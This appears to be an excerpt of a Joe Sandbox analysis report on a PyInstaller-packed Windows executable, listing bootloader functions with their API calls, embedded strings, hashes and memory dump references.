PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7F3DD3882, 00007FF7F3DD38AF
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7F3DD3D12
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7F3DD3A17, 00007FF7F3DD3A2F, 00007FF7F3DD3A9B
pkg, xrefs: 00007FF7F3DD39BE
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7F3DD3D35
_PYI_SPLASH_IPC, xrefs: 00007FF7F3DD3A23, 00007FF7F3DD3EED
Py_GIL_DISABLED, xrefs: 00007FF7F3DD3AF4
Failed to remove temporary directory: %s, xrefs: 00007FF7F3DD3FC7
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7F3DD3E9E
pyi-contents-directory, xrefs: 00007FF7F3DD3B8D
MEI, xrefs: 00007FF7F3DD3933
Could not create temporary directory!, xrefs: 00007FF7F3DD3CBF
pyi-disable-windowed-traceback, xrefs: 00007FF7F3DD3BB2
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7F3DD3BE8

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: 76a9bc6180b8f33f3d940ce63715ec287eef657ce8d77edeb0dbadd26b6237bc
Instruction ID: 4fb2ea448d07d9a1701d28de9040923eedc43dd41333b3bd64cbd30ff9cca828
Opcode Fuzzy Hash: 76a9bc6180b8f33f3d940ce63715ec287eef657ce8d77edeb0dbadd26b6237bc
Instruction Fuzzy Hash: 7C32AE21A0C68291FB99B7B4D4543B9F761AF44780FC44132DA7E6B2D6DF2CE568C3A0

Function 00007FF7F3DF6964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F3DF6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF66D9
Part of subcall function 00007FF7F3DF6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF6757
Part of subcall function 00007FF7F3DF6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF67A8

CreateFileW.KERNELBASE ref: 00007FF7F3DF6A6A
CreateFileW.KERNEL32 ref: 00007FF7F3DF6ABA
GetLastError.KERNEL32 ref: 00007FF7F3DF6AEA
GetFileType.KERNELBASE ref: 00007FF7F3DF6AFF
GetLastError.KERNEL32 ref: 00007FF7F3DF6B09
CloseHandle.KERNEL32 ref: 00007FF7F3DF6B3C
CloseHandle.KERNEL32 ref: 00007FF7F3DF6C9F
CreateFileW.KERNEL32 ref: 00007FF7F3DF6CD4
GetLastError.KERNEL32 ref: 00007FF7F3DF6CE3

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: 6869748603e4a58de962c456635117745c60ba011b704a3eb74383bd1e551039
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 46C1B132B28A4285EB50EFB5C4912AC7765FB49B98B814235DE3E6B7D8CF38D055C390

Function 00007FF7F3DD9280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7F3DD92B3
FindClose.KERNELBASE ref: 00007FF7F3DD92C2

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: a7ca895c0948d9ab81e47e3977dfa6b0a6a0bd7d763ff6a410496da1bd87aec7
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 22F0C862A1974186F7E0AFE0B489766B350EB84368F840335DA7E1A6D4DF3CD149CB40

Function 00007FF7F3DF08C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction ID: 97ea09916fda8839f94e22c4833aea3a42d5199110d7210012a895fc9922149f
Opcode Fuzzy Hash: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction Fuzzy Hash: 8102D221A1D64340FBD9BBA59880279EA90AF41BA0FC54634DD7E6F3D9DE3DE44183A0

Function 00007FF7F3DD1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F3DD7F90: _fread_nolock.LIBCMT ref: 00007FF7F3DD803A

_fread_nolock.LIBCMT ref: 00007FF7F3DD1A1B

Part of subcall function 00007FF7F3DD2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7F3DD1B6A), ref: 00007FF7F3DD295E

Strings

fread, xrefs: 00007FF7F3DD1A32, 00007FF7F3DD1B5C
MEI, xrefs: 00007FF7F3DD1991
Could not allocate buffer for TOC!, xrefs: 00007FF7F3DD1B1B
Failed to seek to cookie position!, xrefs: 00007FF7F3DD19EE
Could not read full TOC!, xrefs: 00007FF7F3DD1B55
fseek, xrefs: 00007FF7F3DD19F5
Failed to read cookie!, xrefs: 00007FF7F3DD1A2B
Error on file., xrefs: 00007FF7F3DD1B8D
Could not allocate memory for archive structure!, xrefs: 00007FF7F3DD1A61
malloc, xrefs: 00007FF7F3DD1B22
calloc, xrefs: 00007FF7F3DD1A68

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: e060d84aa5bf36d8a380aea433863807716a2bfcfbbc2a242715e1548c9dcf31
Instruction ID: c0abb39bb4e068bbccd6192fcc26d7cc6bf6f57499df95413ff2afa3bbc1c1a6
Opcode Fuzzy Hash: e060d84aa5bf36d8a380aea433863807716a2bfcfbbc2a242715e1548c9dcf31
Instruction Fuzzy Hash: C9819271A0D68385EBE0EBA4D0412B9B3A4FF48744F844531E9AD6B7C9DE3CE58587A0

Function 00007FF7F3DD1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fread, xrefs: 00007FF7F3DD17E6
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7F3DD16A2
fopen, xrefs: 00007FF7F3DD1663
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7F3DD16DA
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7F3DD17CA
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7F3DD17DF
fseek, xrefs: 00007FF7F3DD16E1
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7F3DD1742
fwrite, xrefs: 00007FF7F3DD17D1
Failed to create symbolic link %s!, xrefs: 00007FF7F3DD1622
malloc, xrefs: 00007FF7F3DD1749
Failed to extract %s: failed to open target file!, xrefs: 00007FF7F3DD165C

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: f6eb3f98450cbc5f74df1446d4150ca3e377cb8f23e7e3bf82aec3682dfd8963
Instruction ID: 49c70b0aacbad83e1b3dc2436593b74adcfd4fa2dc1f5cb23b310c3ec4c07e38
Opcode Fuzzy Hash: f6eb3f98450cbc5f74df1446d4150ca3e377cb8f23e7e3bf82aec3682dfd8963
Instruction Fuzzy Hash: 99519E61B0964392EB94BBA194401B9B3A4FF84B94FC44631ED3C2F7D6DE3CE58587A0

Function 00007FF7F3DD8660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD8704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD874C

Part of subcall function 00007FF7F3DD8830: GetEnvironmentVariableW.KERNEL32(00007FF7F3DD388E), ref: 00007FF7F3DD8867
Part of subcall function 00007FF7F3DD8830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7F3DD8889

Part of subcall function 00007FF7F3DE8238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE8251

Part of subcall function 00007FF7F3DD2810: MessageBoxW.USER32 ref: 00007FF7F3DD28EA

Strings

LOADER: failed to set the TMP environment variable., xrefs: 00007FF7F3DD86DC
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7F3DD877E
TMP, xrefs: 00007FF7F3DD869C, 00007FF7F3DD87A3
TMP, xrefs: 00007FF7F3DD86C2
_MEI%d, xrefs: 00007FF7F3DD8712

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction ID: 5460fdd844c23a0caff50222cc78e142a0a5b6fb2ca46bdd174d2b9a71add00c
Opcode Fuzzy Hash: e09d7b167afd2147c660aa35db8091a51c6906773476d98e2344c67e24741bda
Instruction Fuzzy Hash: 9B419F11A1964254FB96B7E1A8652B9A290AF84BC0FC04131ED3D6F7DADE3CE545C3E0

Function 00007FF7F3DD1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.3.1, xrefs: 00007FF7F3DD1249
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7F3DD12EF
malloc, xrefs: 00007FF7F3DD12C1, 00007FF7F3DD12F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7F3DD141E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7F3DD12BA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7F3DD1276

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 4176682b56444a78b74e0a45c684f191b40491c6c63e868bb09f8baa48a37ad0
Instruction ID: d1f98d6a146640630b6d44f97480d82eaf7043d5bf68b8ae6c1c38cafc661599
Opcode Fuzzy Hash: 4176682b56444a78b74e0a45c684f191b40491c6c63e868bb09f8baa48a37ad0
Instruction Fuzzy Hash: F3510622A0964341EBE4BBA1A4403BAB691FF44794FC44135ED6D6B7C5DE3CE441C790

Function 00007FF7F3DD36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7F3DD3804), ref: 00007FF7F3DD36E1
GetLastError.KERNEL32(?,00007FF7F3DD3804), ref: 00007FF7F3DD36EB

Part of subcall function 00007FF7F3DD2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2C9E
Part of subcall function 00007FF7F3DD2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2D63
Part of subcall function 00007FF7F3DD2C50: MessageBoxW.USER32 ref: 00007FF7F3DD2D99

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF7F3DD3739
Failed to obtain executable path., xrefs: 00007FF7F3DD36F3
GetModuleFileNameW, xrefs: 00007FF7F3DD36FA
\\?\, xrefs: 00007FF7F3DD375A
Failed to convert executable path to UTF-8., xrefs: 00007FF7F3DD3790

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 6e3e81b34d53e10b69dc84d0416274b69e031a06a4304550f486cd0837dcf434
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: AC216251B18A4291FBA0B764E8513B6F250BF88394FC00231E57DAA5D9EE2CE505C7A0

Function 00007FF7F3DEBA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEBE89

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction ID: 2ae60ac12aab64c9a0cb1b4a75a229ac41baac33c10c3e2c4ddd982db18a7b32
Opcode Fuzzy Hash: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction Fuzzy Hash: EDC1092290D68741E7E96B9594402BDBF50FB81B80FD54231EE6E2B3D1CE7CF48587A2

Function 00007FF7F3DD8570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7F3DD8590
OpenProcessToken.ADVAPI32 ref: 00007FF7F3DD85A3
GetTokenInformation.KERNELBASE ref: 00007FF7F3DD85C8
GetLastError.KERNEL32 ref: 00007FF7F3DD85D2
GetTokenInformation.KERNELBASE ref: 00007FF7F3DD8612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7F3DD862E
CloseHandle.KERNEL32 ref: 00007FF7F3DD8646

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: 39c2c2dd1efad5beee1ad3935f86356d63acf98b9d2b951d9ca8f070a925fc3f
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: E4217531A0C64642EB90ABA5B48023AF3A0EF85BF0F940235EA7D5B7E8DE7CD4458750

Function 00007FF7F3DD90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F3DD8570: GetCurrentProcess.KERNEL32 ref: 00007FF7F3DD8590
Part of subcall function 00007FF7F3DD8570: OpenProcessToken.ADVAPI32 ref: 00007FF7F3DD85A3
Part of subcall function 00007FF7F3DD8570: GetTokenInformation.KERNELBASE ref: 00007FF7F3DD85C8
Part of subcall function 00007FF7F3DD8570: GetLastError.KERNEL32 ref: 00007FF7F3DD85D2
Part of subcall function 00007FF7F3DD8570: GetTokenInformation.KERNELBASE ref: 00007FF7F3DD8612
Part of subcall function 00007FF7F3DD8570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7F3DD862E
Part of subcall function 00007FF7F3DD8570: CloseHandle.KERNEL32 ref: 00007FF7F3DD8646

LocalFree.KERNEL32(?,00007FF7F3DD3C55), ref: 00007FF7F3DD916C
LocalFree.KERNEL32(?,00007FF7F3DD3C55), ref: 00007FF7F3DD9175

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7F3DD9142
S-1-3-4, xrefs: 00007FF7F3DD9121
D:(A;;FA;;;%s), xrefs: 00007FF7F3DD9157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7F3DD9183

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction ID: 5c559135aa7fa92dd1b9bc85adf760504fe181482b3f7e05a792f7f0c7c96ced
Opcode Fuzzy Hash: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction Fuzzy Hash: A6215321A0874281F790BBA0E8552EAB361FF84780FC44135EA6D6B7D9DF3CE84587E0

Function 00007FF7F3DECF60 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F3DECF4B), ref: 00007FF7F3DED07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F3DECF4B), ref: 00007FF7F3DED107

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
